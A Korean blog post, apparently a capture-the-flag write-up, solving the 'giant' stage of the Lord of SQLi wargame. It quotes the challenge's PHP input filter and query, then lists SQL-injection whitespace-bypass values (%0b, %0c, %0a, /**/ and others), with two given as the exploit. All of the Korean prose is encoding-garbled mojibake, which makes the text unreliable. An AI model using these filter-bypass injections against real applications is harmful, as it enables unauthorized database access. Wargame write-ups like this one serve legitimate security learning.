ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

CHALLENGE

[LOS] Giant ํ’€์ด(14)

๐ŸŒง: 2020. 12. 8.

14๋ฒˆ์งธ ๋ฌธ์ œ์ธ " giant "์ž…๋‹ˆ๋‹ค.

 

 if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
 if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

์ด๋ฒˆ์—๋Š” id ๋‚˜ pw ๋ณ€์ˆ˜๊ฐ€ ์•„๋‹Œ shit ์ด๋ผ๋Š”๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ๋˜๋ฉฐ ์ž…๋ ฅ๋˜๋Š” ๊ฐ’์˜ ๊ธธ์ด๋Š” 1๋ณด๋‹ค ๊ธธ๋ฉด " No Hack " ์ด๋ผ๋Š” ๋ฌธ๊ตฌ๋ฅผ ๋„์šฐ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ |\n|\r|\t/ ๋“ฑ ์—ฌ๋Ÿฌ ๊ณต๋ฐฑ ์šฐํšŒ ๊ธฐ๋ฒ•์„ ์ฐจ๋‹จํ•˜๊ณ  ์žˆ๊ธฐ์— ํ—ˆ์šฉ๊ฐ€๋Šฅํ•œ ๊ณต๋ฐฑ ๊ตฌ๋ฌธ์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
if($result[1234]) solve("giant");

๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ์œ„ํ•ด์„  ๊ฒฐ๊ด๊ฐ’์— 1234 ๊ฐ€ ์ถœ๋ ฅ๋˜์•ผํ•˜๋Š”๋ฐ ์ฟผ๋ฆฌ๋ฌธ์— ์ด๋ฏธ " 1234 " ๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.?? 
๋ฌธ์ œ๊ฐ€ ์กฐ๊ธˆ ํŠน์ดํ•˜๋‹ค ์ƒ๊ฐํ•ด์„œ ์ด๊ฑธ ์–ด์ฉŒ๋ผ๋Š” ๊ฑด์ง€ ์ƒ๊ฐํ–ˆ๋Š”๋ฐ ์œ„์˜ query ๊ตฌ๋ฌธ์„ ๋ณด๋ฉด from(๊ณต๋ฐฑํ•„์š”).prob ๊ฐ€ ๋ถ™์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์ด๋ฅผ ๋„์›Œ์ฃผ๋Š” ๊ฒƒ์ด ๋ชฉํ‘œ์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต๋ฐฑ ๊ธฐํ˜ธ๋ฅผ ํ•˜๋‚˜์”ฉ ๋Œ€์ž…ํ•ด๋ณด๋ฉด ์„ฑ๊ณต ๊ฐ€๋Šฅํ•œ ๊ตฌ๋ฌธ์ด ๋ช‡ ๊ฐ€์ง€ ์กด์žฌํ•˜๊ธฐ์— ์„ฑ๊ณต์ ์œผ๋กœ ์Šคํ…Œ์ด์ง€๋ฅผ ํ†ต๊ณผํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

๊ณต๋ฐฑ ์šฐํšŒ
shit=() 
shit=%0d (
์บ๋ฆฌ์ง€๋ฆฌํ„ด(\r))
shit=/**/ (
๋‹ค์ค‘์ฃผ์„)
shit=%09 (TAB)
shit=%0a (Line Feed(\n))
shit=%0b (vertical tab)
shit=%a0 
shit=%0c (new page) 
shit=%2b(+)
shit=%20
Exploit Code

shit=%0b

shit=%0c

'CHALLENGE' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[LOS] Assassin ํ’€์ด(15)  (0) 2020.12.09
XSS Challenges 6  (0) 2020.12.09
[LOS] Bugbear ํ’€์ด(13)  (0) 2020.12.08
[LOS] Darkknight ํ’€์ด(12)  (0) 2020.12.08
XSS Challenges 5-2  (0) 2020.12.08
๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment